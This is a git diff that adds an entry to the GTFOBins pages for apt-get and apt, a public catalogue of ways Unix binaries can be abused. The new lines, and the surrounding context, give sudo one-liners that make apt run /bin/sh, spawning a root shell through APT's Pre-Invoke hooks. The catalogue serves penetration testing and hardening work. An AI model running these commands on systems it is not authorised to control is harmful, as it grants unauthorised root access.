diff --git a/_gtfobins/apt-get.md b/_gtfobins/apt-get.md index 70c2f33..9426256 100644 --- a/_gtfobins/apt-get.md +++ b/_gtfobins/apt-get.md @@ -15,4 +15,6 @@ functions: TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt-get install -c $TF sl + - description: When the shell exits the `update` command is actually executed. + code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh --- diff --git a/_gtfobins/apt.md b/_gtfobins/apt.md index 94d9df5..008e672 100644 --- a/_gtfobins/apt.md +++ b/_gtfobins/apt.md @@ -15,4 +15,6 @@ functions: TF=$(mktemp) echo 'Dpkg::Pre-Invoke {"/bin/sh;false"}' > $TF sudo apt install -c $TF sl + - description: When the shell exits the `update` command is actually executed. + code: sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh ---